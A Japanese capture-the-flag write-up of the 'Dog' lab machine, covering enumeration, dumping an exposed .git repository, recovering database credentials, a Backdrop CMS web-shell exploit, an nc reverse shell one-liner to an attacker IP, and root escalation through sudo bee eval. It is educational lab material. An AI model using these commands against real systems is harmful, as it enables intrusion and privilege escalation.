TryHackMe - Dog

に公開
  • まずはnmap
    • 22: ssh
    • 80: http Apache/2.4.41
      • Dogというサイト
      • Apache 2.4.41はExploit Databaseで調べても脆弱性ヒットせず
  • curl -I <URL>でHEADリクエストを送りHTTPヘッダだけもらう
  • 脆弱性調査ではsearchsploitが使える
    • Exploit DBの情報をローカルに持っておき検索
  • gobustersで列挙
$ gobuster dir -u http://10.10.11.58/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
  • filesが気になる
    • config_83dddd18e1ec67fd8ff5bba2453c7fb3という特徴的なディレクトリがあるので探索
    • config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.jsonにてメアド発見
      • tiffany@dog.htb"
  • .gitが見つかった
    • git-dumperというツールを使えばリポジトリをgitディレクトリの情報からダンプできる
    • $ git-dumper http://10.10.11.58/.git ./git-dump/で実行
      • git-dumperを使わずとも次の手順で復元可能
        • wget -r -np -nH --cut-dirs=3 -R "index.html*" http://target.com/.git/で.git配下のファイルを再帰的にダウンロード
        • ダウンロード先のディレクトリでgit checkout .することで、.gitの内容から作業ツリーを復元
      • .gitディレクトリにはコミット履歴などの全情報が入っているためこれがあればファイルを復元できるらしい
  • git-dumperを用いてサイトのディレクトリの中身を復元。settings.phpを確認するとrootの認証情報を発見
    • $database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
  • user: tiffany@dog.htb, password: BackDropJ2024DS2024とするとダッシュボードにログイン成功
  • metasploit frameworkで脆弱性を検索したがヒットせず
    • msfconsoleでコンソールを起動、search backdropで検索したが使えるものは見つからず
  • Exploit DBで見つけた脆弱性を使用
$ python exploit_backdrop.py  http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
  • このスクリプトを実行すると/modules/shell/shell.phpにweb shellが設置されるはずなのだが失敗
    • shellの作成は出来たがアップロードできなかった
    • tar -czvf shell.tar.gz shellでshellをtar.gzに圧縮
    • dashboardのinstall modulesからアップロードしたら/modules/shell/shell.phpにアップロードできた
  • Remote Code Executionに成功。これを利用してリバースシェルを貼る。
    • ローカルで待ち受け
      • nc -lvnp 443
    • リモートから接続
      • rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.16.22 443 > /tmp/f
    • リモートでpython3 -c 'import pty;pty.spawn("/bin/bash")'を実行してptyを生成
  • /home/johncusackにuser.txtがあるのを発見したがpermission denied
  • su johncusackでjohncusackとしてログイン
    • パスワードを求められたので先程settings.phpから得たrootのパスワードを使用したら通った
  • sudo -lでsudoersファイルに設定された権限を確認、sudoでやれることを探す
    • /usr/local/bin/beeが使えるらしい
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
  • beeのhelpによると、rootオプションを付けた後にcommandを受け付けるとのこと。commandとしてevalを受け付ける。これにより任意のPHPコードを実行できる。
    • phpのsystem()を使えばPHPからOSコマンドを呼べる。
  • 以下のコマンドによってシェルを起動
    • sudo /usr/local/bin/bee --root=/var/www/html eval "system('/bin/bash -p');"
    • user IDとgroup IDが異なる状況でbashを立ち上げるとuser IDを参照するためrootとして起動できない
    • -pをつけることでBashを起動した時にrootの特権を放棄しない
  • rootとしてシェルを立ち上げてroot flagを奪取

Discussion